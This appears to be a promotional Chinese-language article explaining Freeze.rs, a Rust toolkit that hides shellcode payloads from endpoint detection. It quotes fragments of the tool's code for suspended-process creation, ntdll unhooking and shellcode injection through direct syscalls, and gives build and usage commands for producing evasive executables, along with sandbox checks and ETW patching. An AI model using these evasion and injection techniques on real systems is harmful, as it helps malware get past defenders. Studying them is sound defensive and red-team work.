Freeze.rs核心技术解密:从挂起进程到直接系统调用的完整实现
Freeze.rs核心技术解密从挂起进程到直接系统调用的完整实现【免费下载链接】Freeze.rsFreeze.rs is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls written in RUST项目地址: https://gitcode.com/gh_mirrors/fr/Freeze.rsFreeze.rs是一个基于Rust编写的payload工具包通过挂起进程和直接系统调用技术实现EDR端点检测与响应绕过。本文将深入解析其核心技术原理展示如何通过这些高级技术规避现代安全防护机制。 为什么选择Freeze.rsEDR绕过的终极解决方案在当今高级威胁防护体系中EDR已成为企业安全的重要防线。传统的恶意代码执行方法很容易被EDR通过API监控、行为分析等手段检测到。Freeze.rs采用两种革命性技术彻底改变了这一局面挂起进程注入通过创建处于挂起状态的进程绕过初始执行监控直接系统调用绕过Windows API直接与内核通信避免用户态钩子检测EDR工作原理简析为何传统方法失效现代EDR通常采用两种主要监控策略图1用户态EDR监控示意图 - 传统API调用会被EDR钩子捕获用户态EDR通过钩子Hook技术监控关键API调用如CreateProcess、VirtualAlloc等。当检测到可疑行为时EDR会阻止操作并发出警报。而内核态EDR则监控系统调用提供更深层次的防护图2内核态EDR监控示意图 - 监控系统调用以检测恶意行为 挂起进程技术Freeze.rs的第一道防线Freeze.rs的核心创新之一是其挂起进程技术。在lib/src/lib.rs中我们可以看到CreateProcess函数的实现fn CreateProcess() - PROCESS_INFORMATION{ let mut attrsize: SIZE_T Default::default(); let mut pi PROCESS_INFORMATION::default(); let mut si STARTUPINFOEXA::default(); unsafe { si.StartupInfo.cb mem::size_of::STARTUPINFOEXA() as u32; CreateProcessA( null_mut(), {}\0.as_ptr() as LPSTR, null_mut(), null_mut(), 0, 0x00000004, // CREATE_SUSPENDED标志 null_mut(), null_mut(), mut si.StartupInfo, mut pi, ); } return pi; }关键在于0x00000004这个标志它对应CREATE_SUSPENDED使新进程创建后立即处于挂起状态。这一技术带来两个主要优势绕过初始执行监控进程创建但不立即执行避开EDR对新进程创建的初始监控内存操作窗口期在进程恢复执行前有机会修改内存、去除钩子进程内存修复清除EDR钩子创建挂起进程后Freeze.rs会读取系统ntdll.dll的干净副本并用它覆盖挂起进程内存中的ntdll.dll清除EDR可能设置的钩子let mut image_base_buffer vec![0 ; size]; NtReadVirtualMemory(pid.hProcess, textVirtualAddress as *mut c_void, image_base_buffer.as_ptr() as _, image_base_buffer.len(), null_mut()); WriteProcessMemory(NtCurrentProcess, textVirtualAddress as *mut c_void, image_base_buffer.as_ptr() as _, image_base_buffer.len(), written);这一步骤确保了进程恢复执行时使用的是干净的系统库没有EDR钩子。 直接系统调用绕过API监控的终极手段即使EDR在用户态API上设置了钩子Freeze.rs仍能通过直接系统调用来绕过这些监控。在lib/src/lib.rs中我们可以看到直接调用NTAPI函数的实现NtAllocateVirtualMemory(NtCurrentProcess,mut base_address,0, mut shellcode.len(), 0x00003000, 0x40); NtWriteVirtualMemory(NtCurrentProcess,base_address,shellcode.as_ptr() as _,shellcode.len() as usize,null_mut()); NtProtectVirtualMemory(NtCurrentProcess, mut base_address, mut sellcode_length, 0x20, mut temp); NtCreateThreadEx(mut thread_handle, MAXIMUM_ALLOWED, std::ptr::null_mut(), NtCurrentProcess, base_address, std::ptr::null_mut(), 0, 0, 0, 0, std::ptr::null_mut());这些函数直接与Windows内核通信完全绕过了用户态API使EDR无法检测到恶意行为。API监控规避效果展示通过API监控工具可以清晰看到Freeze.rs如何规避检测。传统方法会留下明显的API调用痕迹而Freeze.rs几乎不留下痕迹图3API监控对比 - 红色框内显示传统方法的API调用痕迹Freeze.rs通过直接系统调用几乎不留下痕迹️ Freeze.rs的实际应用快速上手指南基本使用命令Freeze.rs提供了简单易用的命令行接口在src/main.rs中定义了完整的参数解析逻辑。基本使用命令如下git clone https://gitcode.com/gh_mirrors/fr/Freeze.rs cd Freeze.rs cargo build --release ./target/release/freeze -I shellcode.bin -O payload.exe -p notepad.exe主要参数说明-I指定原始64位shellcode文件路径-O指定输出文件名称.exe或.dll-p指定要创建的挂起进程名称默认为notepad.exe-E指定加密方式AES 256、ELZMA或RC4高级功能沙箱检测与ETW补丁Freeze.rs还提供了沙箱检测功能在lib/src/lib.rs的sandboxstruct函数中实现fn sandbox() { DomainChecker(); // 检查是否加入域 CPUChecker(2); // 检查CPU核心数 ShaChecker(); // 检查文件哈希 }此外通过-n参数可以禁用ETW事件跟踪补丁避免生成ETW事件被安全监控捕获./freeze -I shellcode.bin -O payload.exe -n 总结Freeze.rs如何重新定义EDR绕过技术Freeze.rs通过结合挂起进程和直接系统调用技术为EDR绕过提供了一个高效、可靠的解决方案。其核心优势包括双重绕过机制挂起进程直接系统调用多层次规避EDR监控Rust语言优势内存安全、执行效率高、生成的二进制文件体积小灵活的加密选项支持AES 256、ELZMA和RC4多种加密方式保护shellcode沙箱检测能力避免在分析环境中执行提高隐蔽性无论是安全研究人员还是红队从业者Freeze.rs都是一个值得深入研究和使用的强大工具。通过理解其核心技术原理我们不仅可以更好地使用这个工具还能深入了解现代EDR的工作机制和防御弱点。注意本文仅用于安全研究目的请勿用于未授权的测试。安全技术的发展需要攻防双方的共同努力理解攻击技术是为了更好地构建防御体系。【免费下载链接】Freeze.rsFreeze.rs is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls written in RUST项目地址: https://gitcode.com/gh_mirrors/fr/Freeze.rs创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考